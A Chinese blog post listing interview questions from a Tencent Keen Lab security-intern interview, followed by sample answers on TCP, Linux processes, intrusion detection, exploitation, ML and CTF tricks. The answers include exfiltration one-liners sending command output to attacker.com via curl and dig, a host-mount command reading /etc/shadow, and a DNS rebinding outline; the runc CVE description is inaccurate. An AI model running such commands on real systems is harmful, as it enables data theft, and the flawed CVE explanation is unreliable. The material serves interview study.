2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
腾讯[实习]科恩实验室-安全工程师
一、网络与协议
1. TCP三次握手
2. SYN扫描原理
3. HTTPS证书机制
二、渗透测试实战
1. 完整渗透流程(以代码审计为例)
2. 高阶渗透案例:DNS重绑定攻击
三、Linux系统深度
1. 进程与线程对比
2. 特殊进程问题修复
3. 文件监控与调试
四、防御与溯源(护网核心)
1. 入侵痕迹检测矩阵
2. 自动化溯源框架
五、漏洞攻防进阶
1. DNS带外数据泄露
2. Redis未授权利用加固
3. Runc容器逃逸(CVE-2024-21626)
六、机器学习与算法
1. 恶意样本分类
2. 莱文斯坦距离实战
七、CTF技巧精要
1. 子域名收集工具链
2. 文件下载漏洞利用
腾讯[实习]科恩实验室-安全工程师
## 一面 时长:一个半小时1. tcp三次握手2. 介绍一次渗透测试过程- 讲了一次代码审计3. SSRF漏洞4. 内网渗透大致流程5. 再介绍一次难度比较高的渗透测试6. 防守方有哪些入侵检测手段,有哪些痕迹是可以抓到的7. 介绍进程和线程8. 进程和线程内存空间的关系9. 父子进程的介绍10. 孤儿进程和僵尸进程- 这个我讲反掉了11. kill一个进程的时候,都发生了那些事情,从父子进程角度讲12. 反弹shell的几种方式- 本质是用tcp协议传输bash程序13. att&ck矩阵的类别,介绍其中的CC14. 到域名下拿到命令执行的结果- 这部分没听清楚,面试的时候直接说了不知道,复盘听录音还是没怎么听清,但好像大概想问的是DNS域名解析获取命令执行回显15. Linux命令通配符16. 护网的溯源、威胁分析工作之类的问了十分钟左右- 完全不会,以后简历上再也不写护网了17. xx攻防演练中防守方有哪些手段,问的比较杂,主要就是问入侵痕迹检测和溯源之类的东西- 这部分也不太会18. SVM、KNN介绍19. 卷积神经网络介绍20. 莱文斯坦距离21. 搜索引擎算法- 不太了解,大概讲了下字典树22. 倒排索引23. 恶意样本给出函数家族的md5,如何进行分类- 从统计规律讲了下24. 反问## 二面 时长:半小时1. 第一个问题就直接问了护网,和一面问的差不多,直接裂开2. Linux开机自启动方式3. init.d脚本介绍4. Linux怎么查看程序调用了哪些文件5. 如何监控Linux文件操作- 问到这里就已经非常慌了,Linux比较进阶的操作都不是很会,而且面试官一直在叹气我日6. Linux有哪些系统调用- 不会7. GDB调试- 不会8. 查看Linux开放的网络端口、多线程状态9. 反弹shell的方式10. Linux下怎么隐藏文件11. 子域名收集12. DNS重绑定13. DNS解析的流程14. CC流量- 听都没听过15. ssh隧道- 面试没听清楚,听到隧道就以为是UDP穿越隧道开讲了16. https证书机制介绍17. burpsuite一些使用方法,插件开发方法18. nmap的基本操作19. syn开放链接原理20. redis漏洞利用21. runc容器逃逸原理22. 常见WAF种类(不知道为什么还特别问了长亭的WAF)23. MySQL的UAF- 没听过24. 算法题(比较简单,leetcode easy级别)25. Linux进程通信26. 反问
一、网络与协议
1. TCP三次握手
mermaid
sequenceDiagram Client->>Server: SYN=1, Seq=x Server-->>Client: SYN=1, ACK=1, Seq=y, Ack=x+1 Client->>Server: ACK=1, Seq=x+1, Ack=y+1
- 关键点:SYN洪水攻击利用半连接耗尽资源,防御需启用SYN Cookie
2. SYN扫描原理
bash
nmap -sS 目标IP # 发送SYN不回应ACK,绕过基础日志
- 隐蔽性:不建立完整连接,被扫描主机仅见RST包
3. HTTPS证书机制
mermaid
graph LR A[客户端请求] --> B[服务端发送证书] B --> C{客户端验证} C -->|有效| D[用证书公钥加密会话密钥] C -->|无效| E[终止连接]
二、渗透测试实战
1. 完整渗透流程(以代码审计为例)
mermaid
graph TB A[信息收集] --> B[白盒审计] B --> C[漏洞定位:SSRF/反序列化] C --> D[外带数据:DNS泄露] D --> E[横向移动:Redis未授权] E --> F[权限维持:systemd服务注入]
2. 高阶渗透案例:DNS重绑定攻击
场景:绕过SSRF防护
python
# 攻击步骤 1. 注册域名:evil.com (TTL=0) 2. 首次解析返回内网IP(如172.16.0.1) 3. 二次解析返回127.0.0.1 4. 利用时间差访问内部服务
三、Linux系统深度
1. 进程与线程对比
特性 进程 线程 内存隔离 独立地址空间 共享进程内存 通信成本 高(IPC机制) 低(全局变量) 容错性 崩溃不影响其他进程 线程崩溃导致进程终止 2. 特殊进程问题修复
bash
# 僵尸进程清理 ps -ef | grep defunct # 定位僵尸PID kill -9 父进程ID # 强制回收资源 # 孤儿进程接管 systemctl status init # 确认init进程状态
3. 文件监控与调试
监控文件操作:
bash
inotifywait -m -r /etc # 实时监控目录 auditctl -a exit,always -F dir=/var/log -F perm=wa # 审计日志篡改
GDB调试核心命令:
bash
(gdb) break *0x400520 # 内存断点 (gdb) x/20x $rsp # 查看栈数据 (gdb) p system # 打印函数地址
四、防御与溯源(护网核心)
1. 入侵痕迹检测矩阵
攻击阶段 检测手段 工具链 初始访问 异常登录地理定位 CrowdStrike/Elastic 持久化 开机自启动项扫描 Autoruns/Lynis 横向移动 内网ARP异常流量分析 Zeek/Arkime 数据外传 DNS隧道特征检测 Fiddler/Sigma规则 2. 自动化溯源框架
mermaid
graph LR A[告警触发] --> B{日志关联} B -->|WAF日志| C[提取攻击IP] B -->|系统日志| D[定位进程行为] C --> E[威胁情报查询] D --> F[进程树重建] E & F --> G[生成攻击链报告]
五、漏洞攻防进阶
1. DNS带外数据泄露
bash
# 外传命令结果 curl http://$(whoami).attacker.com # HTTP泄露 dig `id | base64`.data.attacker.com # DNS泄露
2. Redis未授权利用加固
防御方案:
redis
requirepass Str0ngP@ss! # 强密码认证 rename-command CONFIG "" # 禁用高危命令 bind 127.0.0.1 # 限制监听地址
3. Runc容器逃逸(CVE-2024-21626)
原理:工作目录未隔离 → 挂载宿主机根目录
利用:bash
docker run --rm -it -v /:/host alpine chroot /host && cat /etc/shadow
六、机器学习与算法
1. 恶意样本分类
处理流程:
mermaid
graph TB A[样本集] --> B[提取API序列] B --> C[生成TF-IDF向量] C --> D[训练SVM分类器] D --> E[混淆矩阵验证]
2. 莱文斯坦距离实战
python
def levenshtein(s1, s2): if len(s1) < len(s2): return levenshtein(s2, s1) if len(s2) == 0: return len(s1) prev = range(len(s2) + 1) for i, c1 in enumerate(s1): curr = [i + 1] for j, c2 in enumerate(s2): curr.append(min(prev[j+1]+1, curr[j]+1, prev[j]+(c1!=c2))) prev = curr return prev[-1]
七、CTF技巧精要
1. 子域名收集工具链
bash
subfinder -d target.com -silent | httpx -status-code # 快速存活检测 waybackurls target.com | grep -E '\.js$' | uniq # 历史JS文件挖掘
2. 文件下载漏洞利用
关键路径:
text
Linux: /proc/self/cwd/flag.txt # 进程工作目录 Windows: C:\Windows\Panther\setup.log # 安装日志
特别警示:护网面试重点考察 攻击链重构能力 与 防御体系设计思维,建议掌握以下实战组合:
- 溯源:ELK+威胁情报平台(如微步在线)
- 反制:高交互蜜罐(如HFish)
- 加固:CIS基准扫描+自动化补丁管理